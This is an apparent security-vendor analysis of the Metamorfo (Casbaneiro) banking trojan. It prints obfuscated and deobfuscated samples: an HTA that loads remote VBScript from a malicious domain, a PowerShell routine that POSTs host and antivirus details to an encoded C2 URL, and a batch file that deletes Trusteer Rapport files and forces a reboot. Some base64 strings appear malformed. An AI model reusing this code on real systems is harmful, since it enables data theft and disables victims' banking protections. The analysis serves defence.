

# Exploring the Metamorfo Banking Trojan

Published: 2024-05-16 · Archived: 2026-04-05 14:23:25 UTC

Banking Trojans have become increasingly prevalent in recent times. Today, we'll delve into one particular campaign. This malware, commonly known as [Metamorfo](#), spreads through malspam campaigns, enticing users to click on HTML attachments. Once clicked, a series of activities are initiated, all focused on gathering system metadata. Metamorfo is notorious for its banking trojan capabilities and as such, it has gained considerable recognition in the cybersecurity landscape.

## Infection chain:

Eml -> zip -> html -> url (evasive) -> zip -> hta -> ps1 -> zip -> a3x (Encoded Script file) -> shellcode

HTML contains basic obfuscation which on de-obfuscating gives the URL which the file is trying to connect.

Lets try to browse the URL, in some of the locations. When we try to browse the URL in Mexico location, we see the URL is getting browsed and downloads a zip file with some random {{name.zip}}

The zip file contains a .hta file and an .xml file.

Statically analyzing .hta file, we see some obfuscations.

```
function BPRT(LLIPI)
BPRT = Replace(LLIPI, "ZYGM(", "")
end function
window.resizeTo 0, 0
window.moveTo Int(window.screen.width + 451 ), Int( window.screen.height + 139 )
dim MFZI, HPR, QQY, XVH
HPR = BPRT("h2YGMhtZYGMhtZYGMhpsZYGMH:ZYGMH/ZYGMH/")
QQY = "{ZYGMHacZYGMHtZYGMHrZYGMHaZYGMhcZYGMHiZYGMHoZYGMHncZYGMHnZYGMHtaZYGMHbZYGMHlZYGMHe.ZYGMHcZYGMHoZYGMHm"
XVH = "/ZYGMHldZYGMHwZYGMHbZYGMH/ZYGMH0ZYGMHlZYGMH05"
MFZI = HPR & QQY & XVH
document.write(BPRT("<script type=text/vbscript src='" & MFZI & "'></" & "script>"))
</script>
<script type="text/vbscript">
InputBox BPRT("InZYGMHtrZYGMHoduZYGMHce lZYGMHa contZYGMHrasZYGMHeZYGMHna"),BPRT("InZYGMHtrodZYGMHuce la conZYGMHtraZYGMHsena"),BPRT(
"CoZYGMHntZYGMHraZYGMHseZYGMHna")
window.Close
```

On De-obfuscating, we get a URL pattern, hxxps://facturacioncontable[.]com/ldvb/0105

```
dim MFZI, HPR, QQY, XVH
HPR = BPRT("https://")
QQY = "facturacioncontable.com"
XVH = "/ldvb/0105"
MFZI = HPR & QQY & XVH
document.write(BPRT("<script type=text/vbscript src='" & MFZI & "'></" & "script>"))
```

Browsing the above URL, it downloads a PowerShell script which is again obfuscated

```

function /{ {
[cmdletBinding()]
param
[string]$ComputerName = $env:computername ,
[credential]
$Credential
}
BEGIN
{
$sm1Query = "SELECT * FROM AntivirusProduct"
}
PROCESS
{
$AntivirusProduct = Get-WmiObject -Namespace 'root\SecurityCenter2' -Query $sm1Query @psboundparameters
$AntivirusNames = $AntivirusProduct.displayName
$slang = Get-Culture
$slang = $slang.displayName

$swinds = (Get-WmiObject -class Win32_OperatingSystem).Caption
if($swinds.PROCESSOR_ARCHITECTURE -eq "x86"){ $bits = " 32-Bit CPU "}Else{ $bits = " 64-Bit CPU "}

$WebRequest =
[System.Net.WebRequest]::Create((Text.Encoding)::Unicode.GetString([Convert]::FromBase64String('aB8AHQACABzADoALwAGYAYOBjAHQAOBjAGEAYwBpAG8AbGbjAG8AbG8BAGEAYG8sAGUALgBjAG8AB0AVAGuAZAB0HQALwBpAG4AZAB1AHgALgBwAGGACAA=')))
$GlobalListStr = [System.Text.Encoding]::UTF8.GetBytes("AT=$env:computername $swinds $AntivirusNames $lang $bits ")
$WebRequest.Method = 'POST'
$WebRequest.ContentType = 'application/x-www-form-urlencoded'
$WebRequest.ContentLength = $GlobalListStr.Length
$RequestStream = $WebRequest.GetRequestStream()
$RequestStream.Write($GlobalListStr, 0, $GlobalListStr.Length)
$RequestStream.Close()
}
END
}

$(Text.Encoding)::Unicode.GetString([Convert]::FromBase64String('YwBtAGQA'))
$(Text.Encoding)::Unicode.GetString([Convert]::FromBase64String('Z0B4AGUA'))
$(Text.Encoding)::Unicode.GetString([Convert]::FromBase64String('gBwG4AZ0u='))
$(Text.Encoding)::Unicode.GetString([Convert]::FromBase64String('eqBPAHAA'))
$(Text.Encoding)::Unicode.GetString([Convert]::FromBase64String('aB8AHQACABzADoALwAGYAYOBjAHQAOBjAGEAYwBpAG8AbGbjAG8AbG8BAGEAYG8sAGUALgBjAG8AB0AVAGuAZAB0HQALwBpAG4AZAB1AHgALgBwAGGACAA='))
$(Text.Encoding)::Unicode.GetString([Convert]::FromBase64String('wBAGAVABjAGCAeB3JAGMABuBAA='))

$(Text.Encoding)::Unicode.GetString([Convert]::FromBase64String('MSVC100'))
$(Text.Encoding)::Unicode.GetString([Convert]::FromBase64String('WebView2Loader'))
$(Text.Encoding)::Unicode.GetString([Convert]::FromBase64String('COMPUTERNAME'))
$(Text.Encoding)::Unicode.GetString([Convert]::FromBase64String('080524'))
function /{ {
$(Text.Encoding)::Unicode.GetString([Convert]::FromBase64String('080524'))
}
}

```

```
foi.txt - Notepad
File Edit Format View Help
bcdedit /deletevalue {current} safeboot
del "%programfiles(x86)%\Trusteer\Rapport\bin\x64\*.dll
del "%programfiles(x86)%\Trusteer\Rapport\bin\x64\*.sys
del "%programfiles(x86)%\Trusteer\Rapport\bin\*.dll
del "%programfiles%\Trusteer\Rapport\bin\x64\*.sys
SHUTDOWN -r -f -t 10
```

If we closely observe Fig 9.1 and Fig 9.2, we can find out relation. In Fig 9.1, the script makes registry changes and adds foi[.]bat. The script in Fig 9.2 is foi.txt and is batch file.

The script in Fig 9.2 does series of activities, deletes safeboot, deletes .dll and .sys files and finally shuts down system which on re-starting leads to persistence. The PowerShell commands are utilized to drop the files at various suspicious locations, shutdown the system, and causing persistence to steal user data such as Computer Names, modifying system settings, user settings, keylogging and sending it to compromise systems.

**Conclusion:**

The Metamorfo also know as Casbaneiro is much famous banking trojan which focuses on stealing victims’ financial information including banking credentials. This malware mostly targets North and South America geo-locations. The malware is distributed via email urges user to click on the attachment. The attachment contains malicious codes which does series of activities and leads to data compromise.

**Protection statement**

Forcepoint customers are protected against this threat at the following stages of attack:

- Stage 2 (Lure) – Malicious attachments associated with these attacks are identified and blocked.
- Stage 3 (Redirect) - The redirection to the BlogSpot URL is categorized and blocked under security classification.
- Stage 5 (Dropper File) - The dropper files are added to Forcepoint malicious database and are blocked.
